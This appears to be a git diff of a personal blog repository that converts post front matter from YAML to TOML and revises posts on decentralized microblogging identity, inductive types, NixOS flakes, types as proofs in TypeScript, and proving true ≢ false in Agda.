- One thing I've been doing recently when I think about software applications and system design is break things down into their **features**. This makes it a lot easier to compare applications or services to each other than a vague statement like "I've had a good/bad experience with this". So let's come up with some features of a good microblogging platform:
|
||||||
|
- Application design
|
||||||
|
- **Verifiability:** It should be easy to verify if I did indeed ever say something.
|
||||||
|
- **Freedom:** Within reason, I should not be limited in what I say or do on the platform.
|
||||||
|
- **Universality:** I should be able to communicate to anyone from anywhere (any device, any location).
|
||||||
|
- System design
|
||||||
|
- **Availability:** I want to be confident that the system will be around for many years.
|
||||||
|
- **Connectability:** I should be able to connect with people I don't already know easily.
|
||||||
|
- **Moderation:** I should be able to choose to not interact with a certain subset of users, and this process should not be painful.
|
||||||
|
- Scaling
|
||||||
|
- **User scaling:** Supporting more users should incur a relatively linear or sublinear cost, and should certainly not lead to resource consumption blowup.
|
||||||
|
- **Temporal scaling:** The system should support being run for an arbitrarily long amount of time.
|
||||||
|
- Development
|
||||||
|
- **Malleability:** How easy is it to introduce / roll out new versions and features? This may be important for updating cryptographic algorithms.
|
||||||
|
- **Version drift:** Is it possible to support users who are on different version of the service?
|
||||||
|
- Some features are certainly more important than others, and may have different importance to different people. But it gives me a base line to evaluate services, and lets me decide which features I consider to be critical.
|
||||||
|
- These are not the only features, but I like to list them in this form because while some
|
||||||
|
alternative apps may tout certain features, it's useless if it falls short on something more important.
|
||||||
|
- ### Evaluation
|
||||||
|
- Now that we know what we're looking for, let's evaluate some existing services.
|
||||||
|
- **Mastodon**
|
||||||
|
- Satisfies:
|
||||||
|
- **Connectability:** It's easy to find other users based on their user ID, which looks like an email so it's easy to share.
|
||||||
|
- Doesn't satisfy:
|
||||||
|
- **Freedom:** While certain instances may be specialized (i.e hobby-focused), it's certainly not great when you are locked out of communicating with someone on another instance because the admins of your respective instances have beef with each other.
|
||||||
|
- **Availability:** For some reason or another, I've seen Mastodon admins give up on their instances. Running an instance is very costly in terms of money and time, so it's not surprising that if an instance owner decides it's no longer worth it, the users are pretty much hosed. While there are some options for migration like redirection, it's useless if the original server doesn't stay online.
|
||||||
|
- **Scuttlebutt**
|
||||||
|
- Satisfies:
|
||||||
|
- **Freedom:** This is the maximally free solution: your client is solely responsible for receiving and filtering all messages.
|
||||||
|
- Doesn't satisfy:
|
||||||
|
- **Connectability:** Connecting with someone must take place over an existing channel (i.e either meeting in meatspace or sharing a pub). If I don't have my Scuttlebutt client with me, then it's not possible to get updates.
|
||||||
|
- **Universality:** Since user identity is heavily tied to a single client, having multiple clients for a single user is not a well-supported workflow.
|
||||||
|
- The Matrix people have also developed [Cerulean], a playground for testing the idea of _relative reputation_, where instead of doing moderation of all users you can assign a web-of-trust-style reputation to people you follow. On the other hand, this may lead to further filter-bubbling, the implications of which I'm honestly not sure how to tackle.
|
||||||
|
|
||||||
|
[Cerulean]: https://matrix.org/blog/2020/12/18/introducing-cerulean#whats-with-the-decentralised-reputation-button
|
||||||
|
- ## Decentralized Identity
|
||||||
|
- My view for an ideal microblogging platform would be a federated server-client architecture, but where a user identity isn't tied to the server the same way a user is tied to their Mastodon instance. Essentially, you want your account to be promiscuous between several servers.
|
||||||
|
- This way, you gain all of the benefits of having a server-client architecture (easy to do multiple clients), while not relying on the server itself or its admins to stay around for a long time.
|
||||||
|
- The problem is, designing such a system securely is difficult. Ultimately, what I'm proposing is:
|
||||||
|
- A user identity model based on an asymmetric-key model. Users generate their own key locally and provide it to instances.
|
||||||
|
- Users should then have _client_ keys, which are independent of the user keys. These are signed by the user key to indicate that they belong to the same user.
|
||||||
|
- When a user wants to switch servers, they can begin requesting a checkout of their data from the server. The data can be signed by the server as well to provide an indicator that the client isn't trying to forge old history.
|
||||||
|
- One problem is if a server wants to deny a user from switching servers; they may try to keep the data hostage. One solution is to scrape all publicly obtainable data, the other is to hope that this is socially discouraged by having users avoid servers that engage in user-hostile actions.
|
||||||
|
- Users may also opt to replicate their identity entirely between two servers. This means that this synchronization process is just happening incrementally or periodically rather than just at switch-time.
|
||||||
|
- This still has a number of open problems:
|
||||||
|
- **Key revocation.** Anything involving cryptographic keys requires a revocation protocol in the event that the keys are compromised. I'm not too sure of a good way of doing this that doesn't involve an infinitely growing append-only list of revocations on all of the people who have
|
||||||
|
- When I have some free time, I may take a crack at a proof-of-concept implementation of a system like this.
|
||||||
|
- ### Further applications
|
||||||
|
- Since this scheme only really targets the identity layer with (theoretically) asymptotically constant change required for other parts of the software, this should be able to be extended to things other than just microblogging. I'm not sure about the level of success this may have for things like sharing large data files such as video (maybe mix in something like IPFS?), but there is certainly room for exploration.
|
|
@ -1,9 +1,10 @@
|
||||||
---
|
+++
|
||||||
title: "Rust's Impure Path"
|
title = "Rust's Impure Path"
|
||||||
date: 2022-10-30T12:47:41-05:00
|
date = 2022-10-30T12:47:41-05:00
|
||||||
languages: ["rust"]
|
|
||||||
tags: ["rust"]
|
languages = ["rust"]
|
||||||
---
|
tags = ["rust"]
|
||||||
|
+++
|
||||||
|
|
||||||
I work on [garbage], a project that touches the filesystem a lot. Because of
|
I work on [garbage], a project that touches the filesystem a lot. Because of
|
||||||
this, I'd really like to control when and where these filesystem accesses
|
this, I'd really like to control when and where these filesystem accesses
|
|
@ -1,18 +1,17 @@
|
||||||
---
|
+++
|
||||||
title: "Inductive Types"
|
title = "Inductive Types"
|
||||||
date: 2023-03-26
|
date = 2023-03-26
|
||||||
tags: ["type-theory"]
|
tags = ["type-theory"]
|
||||||
math: true
|
math = true
|
||||||
draft: true
|
draft = true
|
||||||
toc: true
|
toc = true
|
||||||
language_switcher_languages: ["ocaml", "python"]
|
|
||||||
---
|
language_switcher_languages = ["ocaml", "python"]
|
||||||
|
+++
|
||||||
|
|
||||||
There's a feature common to many functional languages, the ability to have
|
There's a feature common to many functional languages, the ability to have
|
||||||
algebraic data types. It might look something like this:
|
algebraic data types. It might look something like this:
|
||||||
|
|
||||||
{{< language-switcher >}}
|
|
||||||
|
|
||||||
```ocaml
|
```ocaml
|
||||||
type bool =
|
type bool =
|
||||||
| True
|
| True
|
||||||
|
@ -27,15 +26,6 @@ that has two _constructors_, or ways to create this type. The constructors are
|
||||||
2. Any time I use the value `False`, it's understood to have type `bool`.
|
2. Any time I use the value `False`, it's understood to have type `bool`.
|
||||||
3. In addition, there are _no_ other ways to create values of `bool` other than combining `True` and `False` constructors.
|
3. In addition, there are _no_ other ways to create values of `bool` other than combining `True` and `False` constructors.
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
```python
|
|
||||||
from typing import Literal
|
|
||||||
MyBool = Literal[True] | Literal[False]
|
|
||||||
```
|
|
||||||
|
|
||||||
{{</ language-switcher >}}
|
|
||||||
|
|
||||||
> **Note:** I'm using an experimental language switcher. It's implemented in
|
> **Note:** I'm using an experimental language switcher. It's implemented in
|
||||||
> pure CSS using a feature called the [`:has` pseudo-class][has]. As of writing,
|
> pure CSS using a feature called the [`:has` pseudo-class][has]. As of writing,
|
||||||
> all major browsers _except_ Firefox has it implemented and enabled by default.
|
> all major browsers _except_ Firefox has it implemented and enabled by default.
|
||||||
|
@ -59,23 +49,12 @@ unknown value of type `Boolean`, you know it can only take one of two values.
|
||||||
There's actually nothing special about boolean itself. I could just as easily
|
There's actually nothing special about boolean itself. I could just as easily
|
||||||
define a new type, like this:
|
define a new type, like this:
|
||||||
|
|
||||||
{{< language-switcher >}}
|
|
||||||
|
|
||||||
```ocaml
|
```ocaml
|
||||||
type WeirdType =
|
type WeirdType =
|
||||||
| Foo
|
| Foo
|
||||||
| Bar
|
| Bar
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
```python
|
|
||||||
from typing import Literal
|
|
||||||
WeirdType = Literal['foo'] | Literal['bar']
|
|
||||||
```
|
|
||||||
|
|
||||||
{{</ language-switcher >}}
|
|
||||||
|
|
||||||
Because this type can only have two values, it's _semantically_ equivalent to
|
Because this type can only have two values, it's _semantically_ equivalent to
|
||||||
the `Boolean` type. I could use it anywhere I would typically use `Boolean`.
|
the `Boolean` type. I could use it anywhere I would typically use `Boolean`.
|
||||||
|
|
||||||
|
@ -94,22 +73,11 @@ You can make any _finite_ type like this: just create an algebraic data type
|
||||||
with unit constructors, and the result is a type with a finite cardinality. If I
|
with unit constructors, and the result is a type with a finite cardinality. If I
|
||||||
wanted to make a unit type for example:
|
wanted to make a unit type for example:
|
||||||
|
|
||||||
{{< language-switcher >}}
|
|
||||||
|
|
||||||
```ocaml
|
```ocaml
|
||||||
type unit =
|
type unit =
|
||||||
| Unit
|
| Unit
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
```python
|
|
||||||
from typing import Literal
|
|
||||||
Unit = Literal[None]
|
|
||||||
```
|
|
||||||
|
|
||||||
{{</ language-switcher >}}
|
|
||||||
|
|
||||||
There's only one way to ever construct something of this type, so the
|
There's only one way to ever construct something of this type, so the
|
||||||
cardinality of this type would be 1.
|
cardinality of this type would be 1.
|
||||||
|
|
||||||
|
@ -123,8 +91,6 @@ called structural matching in some languages).
|
||||||
Let's see an example. Suppose I have a type with three values, defined like
|
Let's see an example. Suppose I have a type with three values, defined like
|
||||||
this:
|
this:
|
||||||
|
|
||||||
{{< language-switcher >}}
|
|
||||||
|
|
||||||
```ocaml
|
```ocaml
|
||||||
type direction =
|
type direction =
|
||||||
| Left
|
| Left
|
||||||
|
@ -132,21 +98,10 @@ type direction =
|
||||||
| Right
|
| Right
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
```python
|
|
||||||
from typing import Literal
|
|
||||||
Direction = Literal['left'] | Literal['middle'] | Literal['right']
|
|
||||||
```
|
|
||||||
|
|
||||||
{{</ language-switcher >}}
|
|
||||||
|
|
||||||
If I was given a value with a type of direction, but I wanted to do different
|
If I was given a value with a type of direction, but I wanted to do different
|
||||||
things depending on exactly which direction it was, I could use _pattern
|
things depending on exactly which direction it was, I could use _pattern
|
||||||
matching_ like this:
|
matching_ like this:
|
||||||
|
|
||||||
{{< language-switcher >}}
|
|
||||||
|
|
||||||
```ocaml
|
```ocaml
|
||||||
let do_something_with (d : direction) =
|
let do_something_with (d : direction) =
|
||||||
match d with
|
match d with
|
||||||
|
@ -155,25 +110,6 @@ let do_something_with (d : direction) =
|
||||||
| Right -> do_this_if_right
|
| Right -> do_this_if_right
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
```python
|
|
||||||
def do_something_with(d : Direction) -> str:
|
|
||||||
match inp:
|
|
||||||
case 'left': return do_this_if_left
|
|
||||||
case 'middle': return do_this_if_middle
|
|
||||||
case 'right': return do_this_if_right
|
|
||||||
case _: assert_never(inp)
|
|
||||||
```
|
|
||||||
|
|
||||||
**Note:** the `assert_never` is a static check for exhaustiveness. If we missed
|
|
||||||
a single one of the cases, a static type checker like [pyright] could catch it
|
|
||||||
and tell us which of the remaining cases there are.
|
|
||||||
|
|
||||||
[pyright]: https://github.com/microsoft/pyright
|
|
||||||
|
|
||||||
{{</ language-switcher >}}
|
|
||||||
|
|
||||||
This gives me a way to discriminate between the different variants of
|
This gives me a way to discriminate between the different variants of
|
||||||
`direction`.
|
`direction`.
|
||||||
|
|
||||||
|
@ -203,16 +139,12 @@ contain themselves as a type).
|
||||||
|
|
||||||
You can see an example of this here:
|
You can see an example of this here:
|
||||||
|
|
||||||
{{< language-switcher >}}
|
|
||||||
|
|
||||||
```ocaml
|
```ocaml
|
||||||
type nat =
|
type nat =
|
||||||
| Suc of nat
|
| Suc of nat
|
||||||
| Zero
|
| Zero
|
||||||
```
|
```
|
||||||
|
|
||||||
{{</ language-switcher >}}
|
|
||||||
|
|
||||||
These are the natural numbers, which are defined inductively. Each number is
|
These are the natural numbers, which are defined inductively. Each number is
|
||||||
just represented by a data type that wraps 0 that number of times. So 3 would be
|
just represented by a data type that wraps 0 that number of times. So 3 would be
|
||||||
`Suc (Suc (Suc Zero))`.
|
`Suc (Suc (Suc Zero))`.
|
||||||
|
@ -247,7 +179,6 @@ utop # is_even (Suc Zero);;
|
||||||
```
|
```
|
||||||
|
|
||||||
This is a good way of making sure the functions you write make sense!
|
This is a good way of making sure the functions you write make sense!
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Induction principle
|
## Induction principle
|
||||||
|
@ -303,6 +234,8 @@ like this:
|
||||||
let convert_nat = nat_transformer 0 (fun x -> x + 1)
|
let convert_nat = nat_transformer 0 (fun x -> x + 1)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
TODO: Talk about https://counterexamples.org/currys-paradox.html
|
TODO: Talk about https://counterexamples.org/currys-paradox.html
|
||||||
|
|
||||||
[has]: https://developer.mozilla.org/en-US/docs/Web/CSS/:has
|
[has]: https://developer.mozilla.org/en-US/docs/Web/CSS/:has
|
|
@ -1,10 +1,10 @@
|
||||||
---
|
+++
|
||||||
title: "Getting a shell in a Docker Compose container without any shells"
|
title = "Getting a shell in a Docker Compose container without any shells"
|
||||||
date: 2023-03-29
|
date = 2023-03-29
|
||||||
tags: ["docker", "linux"]
|
tags = ["docker", "linux"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
First (published) blog post of the year! :raised_hands:
|
First (published) blog post of the year! :raising_hands:
|
||||||
|
|
||||||
Here is a rather dumb way of entering a Docker Compose container that didn't
|
Here is a rather dumb way of entering a Docker Compose container that didn't
|
||||||
have a shell. In this specific case, I was trying to enter a Woodpecker CI
|
have a shell. In this specific case, I was trying to enter a Woodpecker CI
|
||||||
|
@ -12,7 +12,6 @@ container without exiting it. Some Docker containers are incredibly stripped
|
||||||
down to optimize away bloat (which is good!) but this may make debugging them
|
down to optimize away bloat (which is good!) but this may make debugging them
|
||||||
relatively annoying.
|
relatively annoying.
|
||||||
|
|
||||||
> [!admonition: NOTE]
|
|
||||||
> These are my specific steps for running it, please replace the paths and
|
> These are my specific steps for running it, please replace the paths and
|
||||||
> container names with the ones relevant to your specific use-case.
|
> container names with the ones relevant to your specific use-case.
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
---
|
+++
|
||||||
title: "Developing on projects without flake.nix on NixOS"
|
title = "Developing on projects without flake.nix on NixOS"
|
||||||
date: 2023-04-20
|
date = 2023-04-20
|
||||||
tags: ["linux", "nixos"]
|
tags = ["linux", "nixos"]
|
||||||
---
|
+++
|
||||||
|
|
||||||
Ever since I became a NixOS hobbyist a few years ago, it's easy to plug NixOS
|
Ever since I became a NixOS hobbyist a few years ago, it's easy to plug NixOS
|
||||||
wherever I go. The way flakes create a reproducible development environment
|
wherever I go. The way flakes create a reproducible development environment
|
||||||
|
@ -50,8 +50,8 @@ kind of existing configuration, I have _no_ dependencies, and if I want to even
|
||||||
build it, I would have to write a flake myself. That's fine and all, but
|
build it, I would have to write a flake myself. That's fine and all, but
|
||||||
typically the `flake.nix` file lives in the root directory of the project, and
|
typically the `flake.nix` file lives in the root directory of the project, and
|
||||||
it's good practice in the Nix world to commit the flake file along with its
|
it's good practice in the Nix world to commit the flake file along with its
|
||||||
corresponding lock file. However, the upstream project may not appreciate it if
|
corresponding lock file. The upstream project may not appreciate me shoving new
|
||||||
I shove new config files in their root directory.
|
config files in their root directory.
|
||||||
|
|
||||||
```
|
```
|
||||||
project
|
project
|
||||||
|
@ -61,7 +61,6 @@ I shove new config files in their root directory.
|
||||||
flake.nix ✗
|
flake.nix ✗
|
||||||
```
|
```
|
||||||
|
|
||||||
> [!admonition: NOTE]
|
|
||||||
> The `✗` indicates that I added the file to the project, and it hasn't been
|
> The `✗` indicates that I added the file to the project, and it hasn't been
|
||||||
> committed to the repo yet.
|
> committed to the repo yet.
|
||||||
|
|
||||||
|
@ -131,10 +130,9 @@ project structure should look a bit more like this:
|
||||||
flake.nix
|
flake.nix
|
||||||
```
|
```
|
||||||
|
|
||||||
> [!admonition: NOTE]
|
> Remember, since you moved the `.envrc` file, you will need to run `direnv
|
||||||
> Remember, since you moved the `.envrc` file, you will need to run `direnv allow`
|
> allow` again. Depending on how you moved it, you might also need to change the
|
||||||
> again. Depending on how you moved it, you might also need to change the path you
|
> path you wrote in the `use flake` command.
|
||||||
> wrote in the `use flake` command.
|
|
||||||
|
|
||||||
With this setup, the `project` directory can contain a clean clone of upstream
|
With this setup, the `project` directory can contain a clean clone of upstream
|
||||||
and your flake files will create the appropriate environment.
|
and your flake files will create the appropriate environment.
|
|
@ -1,10 +1,10 @@
|
||||||
---
|
+++
|
||||||
title: "Programmable Proofs"
|
title = "Programmable Proofs"
|
||||||
date: 2023-04-20
|
date = 2023-04-20
|
||||||
tags: ["type-theory"]
|
tags = ["type-theory"]
|
||||||
math: true
|
math = true
|
||||||
draft: true
|
draft = true
|
||||||
---
|
+++
|
||||||
|
|
||||||
Today I'm going to convince you that data types in programming are the same as
|
Today I'm going to convince you that data types in programming are the same as
|
||||||
[_propositions_][proposition] in the logical sense. Using this, we can build an
|
[_propositions_][proposition] in the logical sense. Using this, we can build an
|
||||||
|
@ -37,15 +37,13 @@ Simple enough. `Cake` is a type now. What does being a type mean?
|
||||||
- We can use it in function definitions, like this:
|
- We can use it in function definitions, like this:
|
||||||
|
|
||||||
```ts
|
```ts
|
||||||
function giveMeCake(cake: Cake) {
|
function giveMeCake(cake: Cake) { ... }
|
||||||
/* ... */
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
|
|
||||||
- We can put it in other types, like this:
|
- We can put it in other types, like this:
|
||||||
|
|
||||||
```ts
|
```ts
|
||||||
type Party = { cake: Cake; balloons: Balloon[] /* ... */ };
|
type Party = { cake: Cake, balloons: Balloon[], ... };
|
||||||
```
|
```
|
||||||
|
|
||||||
This creates a `Party` object that contains a `Cake`, some `Balloon`s, and
|
This creates a `Party` object that contains a `Cake`, some `Balloon`s, and
|
||||||
|
@ -82,7 +80,7 @@ function getUsername(id: number): string {
|
||||||
if (!isIdValid(id)) throw new Error("Invalid ID");
|
if (!isIdValid(id)) throw new Error("Invalid ID");
|
||||||
|
|
||||||
// Ok, now we are sure that id is valid.
|
// Ok, now we are sure that id is valid.
|
||||||
// ...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -94,7 +92,7 @@ around numbers and doing the check every time.
|
||||||
function getUsername(id: UserId): string {
|
function getUsername(id: UserId): string {
|
||||||
// We can just skip the first part entirely now!
|
// We can just skip the first part entirely now!
|
||||||
// Because of the type of the input, we are sure that id is valid.
|
// Because of the type of the input, we are sure that id is valid.
|
||||||
// ...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -166,7 +164,7 @@ object, it's going to be valid.
|
||||||
function getUsername(id: UserId): string {
|
function getUsername(id: UserId): string {
|
||||||
// We can just skip the first part entirely now!
|
// We can just skip the first part entirely now!
|
||||||
// Because of the type of the input, we are sure that id is valid.
|
// Because of the type of the input, we are sure that id is valid.
|
||||||
// ...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -199,10 +197,8 @@ But what about our use cases?
|
||||||
this:
|
this:
|
||||||
|
|
||||||
```ts
|
```ts
|
||||||
function giveMeCake(cake: NoCake) {
|
function giveMeCake(cake: NoCake) { ... }
|
||||||
/* ... */
|
type Party = { cake: NoCake, balloons: Balloon[], ... };
|
||||||
}
|
|
||||||
type Party = { cake: NoCake; balloons: Balloon[] /* ... */ };
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Interestingly, this actually still typechecks! Why is that?
|
Interestingly, this actually still typechecks! Why is that?
|
||||||
|
@ -310,9 +306,9 @@ parties of logical thought that are involved here. Let's meet them:
|
||||||
sort. Another notable difference is that intuitionistic does not consider the
|
sort. Another notable difference is that intuitionistic does not consider the
|
||||||
Law of Excluded Middle to be true.
|
Law of Excluded Middle to be true.
|
||||||
|
|
||||||
However, intuitionistic logic is preferred in a lot of mechanized theorem
|
Between the two, intuitionistic logic is preferred in a lot of mechanized
|
||||||
provers, because it's easier computationally to talk about "having a witness".
|
theorem provers, because it's easier computationally to talk about "having a
|
||||||
Let's actually look more closely at what it means to have a "witness".
|
witness". Let's actually look more closely at what it means to have a "witness".
|
||||||
|
|
||||||
If you didn't read the section earlier about using private constructors to
|
If you didn't read the section earlier about using private constructors to
|
||||||
restrict type construction, I'm going to revisit the idea a bit here. Consider
|
restrict type construction, I'm going to revisit the idea a bit here. Consider
|
||||||
|
@ -320,16 +316,11 @@ this very restrictive hash map:
|
||||||
|
|
||||||
```ts
|
```ts
|
||||||
namespace HashMap {
|
namespace HashMap {
|
||||||
class Ticket {
|
class Ticket { ... } // Private to namespace
|
||||||
/* ... */
|
|
||||||
} // Private to namespace
|
|
||||||
|
|
||||||
export class HashMap {
|
export class HashMap {
|
||||||
// ...
|
...
|
||||||
|
public insert(k: string, v: number): Ticket { ... }
|
||||||
public insert(k: string, v: number): Ticket {
|
|
||||||
/* ... */
|
|
||||||
}
|
|
||||||
|
|
||||||
public getWithoutTicket(k: string): number | null {
|
public getWithoutTicket(k: string): number | null {
|
||||||
if (!this.hasKey(k)) return null;
|
if (!this.hasKey(k)) return null;
|
||||||
|
@ -344,8 +335,8 @@ namespace HashMap {
|
||||||
```
|
```
|
||||||
|
|
||||||
The idea behind this is kind of like having a witness. Whenever you insert
|
The idea behind this is kind of like having a witness. Whenever you insert
|
||||||
something into the map, you get back a ticket that basically proves that it was
|
something into the map, you get back a ticket that proves that it was the one
|
||||||
the one that inserted it for you in the first place.
|
that inserted it for you in the first place.
|
||||||
|
|
||||||
Since we used a namespace to hide access to the `Ticket` class, the only way you
|
Since we used a namespace to hide access to the `Ticket` class, the only way you
|
||||||
could have constructed a ticket is by inserting into the map. The ticket then
|
could have constructed a ticket is by inserting into the map. The ticket then
|
||||||
|
@ -377,8 +368,8 @@ function returnUnit(): null {
|
||||||
```
|
```
|
||||||
|
|
||||||
There's nothing else that fits in this type. (I realize `void` and `undefined`
|
There's nothing else that fits in this type. (I realize `void` and `undefined`
|
||||||
also exist and are basically single-valued types, but they have other weird
|
also exist and are single-valued types, but they have other weird behavior that
|
||||||
behavior that makes me not want to lump them in here)
|
makes me not want to lump them in here)
|
||||||
|
|
||||||
Let's just also jump into two-valued types, which in math we just call
|
Let's just also jump into two-valued types, which in math we just call
|
||||||
$\mathbf{2}$. This type has a more common analog in programming, it's the
|
$\mathbf{2}$. This type has a more common analog in programming, it's the
|
||||||
|
@ -403,12 +394,8 @@ class First {
|
||||||
static instance: First = new First();
|
static instance: First = new First();
|
||||||
private constructor() {}
|
private constructor() {}
|
||||||
}
|
}
|
||||||
class Second {
|
class Second { ... } // same thing
|
||||||
/* ... */
|
class Third { ... } // same thing
|
||||||
} // same thing
|
|
||||||
class Third {
|
|
||||||
/* ... */
|
|
||||||
} // same thing
|
|
||||||
```
|
```
|
||||||
|
|
||||||
The reason I slapped on a private constructor and included a singleton
|
The reason I slapped on a private constructor and included a singleton
|
|
@ -1,5 +1,5 @@
|
||||||
---
|
---
|
||||||
title: "Formally proving true ≢ false in Homotopy Type Theory with Agda"
|
title: "Proving true ≢ false"
|
||||||
slug: "proving-true-from-false"
|
slug: "proving-true-from-false"
|
||||||
date: 2023-04-21
|
date: 2023-04-21
|
||||||
tags: ["type-theory", "agda"]
|
tags: ["type-theory", "agda"]
|
||||||
|
@ -12,9 +12,20 @@ math: true
|
||||||
These are some imports that are required for code on this page to work properly.
|
These are some imports that are required for code on this page to work properly.
|
||||||
|
|
||||||
```agda
|
```agda
|
||||||
open import Prelude
|
{-# OPTIONS --cubical #-}
|
||||||
```
|
|
||||||
|
|
||||||
|
open import Cubical.Foundations.Prelude
|
||||||
|
open import Data.Bool
|
||||||
|
open import Data.Unit
|
||||||
|
open import Data.Empty
|
||||||
|
|
||||||
|
¬_ : Set → Set
|
||||||
|
¬ A = A → ⊥
|
||||||
|
|
||||||
|
infix 4 _≢_
|
||||||
|
_≢_ : ∀ {A : Set} → A → A → Set
|
||||||
|
x ≢ y = ¬ (x ≡ y)
|
||||||
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
The other day, I was trying to prove `true ≢ false` in Agda. I would write the
|
The other day, I was trying to prove `true ≢ false` in Agda. I would write the
|
||||||
|
@ -28,6 +39,7 @@ For many "obvious" statements, it suffices to just write `refl` since the two
|
||||||
sides are trivially true via rewriting. For example:
|
sides are trivially true via rewriting. For example:
|
||||||
|
|
||||||
```
|
```
|
||||||
|
open import Data.Nat
|
||||||
1+2≡3 : 1 + 2 ≡ 3
|
1+2≡3 : 1 + 2 ≡ 3
|
||||||
1+2≡3 = refl
|
1+2≡3 = refl
|
||||||
```
|
```
|
||||||
|
@ -48,7 +60,7 @@ left side so it becomes judgmentally equal to the right:
|
||||||
- suc (suc (suc zero))
|
- suc (suc (suc zero))
|
||||||
- 3
|
- 3
|
||||||
|
|
||||||
However, in Agda, naively using `refl` with the inverse statement doesn't work.
|
In cubical Agda, naively using `refl` with the inverse statement doesn't work.
|
||||||
I've commented it out so the code on this page can continue to compile.
|
I've commented it out so the code on this page can continue to compile.
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -58,7 +70,7 @@ I've commented it out so the code on this page can continue to compile.
|
||||||
It looks like it's not obvious to the interpreter that this statement is
|
It looks like it's not obvious to the interpreter that this statement is
|
||||||
actually true. Why is that
|
actually true. Why is that
|
||||||
|
|
||||||
## Intuition
|
---
|
||||||
|
|
||||||
Well, in constructive logic / constructive type theory, proving something is
|
Well, in constructive logic / constructive type theory, proving something is
|
||||||
false is actually a bit different. You see, the definition of the `not`
|
false is actually a bit different. You see, the definition of the `not`
|
||||||
|
@ -82,7 +94,7 @@ The strategy here is we define some kind of "type-map". Every time we see
|
||||||
`false`, we'll map it to empty.
|
`false`, we'll map it to empty.
|
||||||
|
|
||||||
```
|
```
|
||||||
bool-map : Bool → Set
|
bool-map : Bool → Type
|
||||||
bool-map true = ⊤
|
bool-map true = ⊤
|
||||||
bool-map false = ⊥
|
bool-map false = ⊥
|
||||||
```
|
```
|
||||||
|
@ -92,69 +104,43 @@ over a path (the path supposedly given to us as the witness that true ≢ false)
|
||||||
will produce a function from the inhabited type we chose to the empty type!
|
will produce a function from the inhabited type we chose to the empty type!
|
||||||
|
|
||||||
```
|
```
|
||||||
true≢false p = transport bool-map p tt
|
true≢false p = transport (λ i → bool-map (p i)) tt
|
||||||
```
|
```
|
||||||
|
|
||||||
I used `true` here, but I could equally have just used anything else:
|
I used `true` here, but I could equally have just used anything else:
|
||||||
|
|
||||||
```
|
```
|
||||||
bool-map2 : Bool → Set
|
bool-map2 : Bool → Type
|
||||||
bool-map2 true = 1 ≡ 1
|
bool-map2 true = 1 ≡ 1
|
||||||
bool-map2 false = ⊥
|
bool-map2 false = ⊥
|
||||||
|
|
||||||
true≢false2 : true ≢ false
|
true≢false2 : true ≢ false
|
||||||
true≢false2 p = transport bool-map2 p refl
|
true≢false2 p = transport (λ i → bool-map2 (p i)) refl
|
||||||
```
|
```
|
||||||
|
|
||||||
## Note on proving divergence on equivalent values
|
---
|
||||||
|
|
||||||
> [!admonition: NOTE]
|
|
||||||
> Update: some of these have been commented out since regular Agda doesn't support higher inductive types
|
|
||||||
|
|
||||||
Let's make sure this isn't broken by trying to apply this to something that's
|
Let's make sure this isn't broken by trying to apply this to something that's
|
||||||
actually true, like this higher inductive type:
|
actually true:
|
||||||
|
|
||||||
```text
|
```
|
||||||
data NotBool : Type where
|
2-map : ℕ → Type
|
||||||
true1 : NotBool
|
2-map 2 = ⊤
|
||||||
true2 : NotBool
|
2-map 2 = ⊥
|
||||||
same : true1 ≡ true2
|
2-map else = ⊤
|
||||||
|
|
||||||
|
-- 2≢2 : 2 ≢ 2
|
||||||
|
-- 2≢2 p = transport (λ i → 2-map (p i)) tt
|
||||||
```
|
```
|
||||||
|
|
||||||
In this data type, we have a path over `true1` and `true2` that is a part of the
|
I commented the lines out because they don't compile, but if you tried to
|
||||||
definition of the `NotBool` type. Since this is an intrinsic equality, we can't
|
compile it, it would fail with:
|
||||||
map `true1` and `true2` to divergent types. Let's see what happens:
|
|
||||||
|
|
||||||
```text
|
```text
|
||||||
notbool-map : NotBool → Type
|
⊤ !=< ⊥
|
||||||
notbool-map true1 = ⊤
|
when checking that the expression transport (λ i → 2-map (p i)) tt
|
||||||
notbool-map true2 = ⊥
|
has type ⊥
|
||||||
```
|
```
|
||||||
|
|
||||||
Ok, we've defined the same thing that we did before, but Agda gives us this
|
That's because with identical terms, you can't simultaneously assign them to
|
||||||
message:
|
different values, or else it would not be a proper function.
|
||||||
|
|
||||||
```text
|
|
||||||
Errors:
|
|
||||||
Incomplete pattern matching for notbool-map. Missing cases:
|
|
||||||
notbool-map (same i)
|
|
||||||
when checking the definition of notbool-map
|
|
||||||
```
|
|
||||||
|
|
||||||
Agda helpfully notes that we still have another case in the inductive type to
|
|
||||||
pattern match on. Let's just go ahead and give it some value:
|
|
||||||
|
|
||||||
```text
|
|
||||||
notbool-map (same i) = ⊤
|
|
||||||
```
|
|
||||||
|
|
||||||
If you give it `⊤`, it will complain that `⊥ != ⊤ of type Type`, but if you give
|
|
||||||
it `⊥`, it will also complain! Because pattern matching on higher inductive
|
|
||||||
types requires a functor over the path, we must provide a function that
|
|
||||||
satisfies the equality `notbool-map true1 ≡ notbool-map true2`, which unless we
|
|
||||||
have provided the same type to both, will not be possible.
|
|
||||||
|
|
||||||
So in the end, this type `NotBool → Type` is only possible to write if the two
|
|
||||||
types we mapped `true1` and `true2` can be proven equivalent. But this also
|
|
||||||
means we can't use it to prove `true1 ≢ true2`, which is exactly the property we
|
|
||||||
wanted to begin with.
|
|
3
content/posts/posts.json
Normal file
3
content/posts/posts.json
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
{
|
||||||
|
"layout": "post"
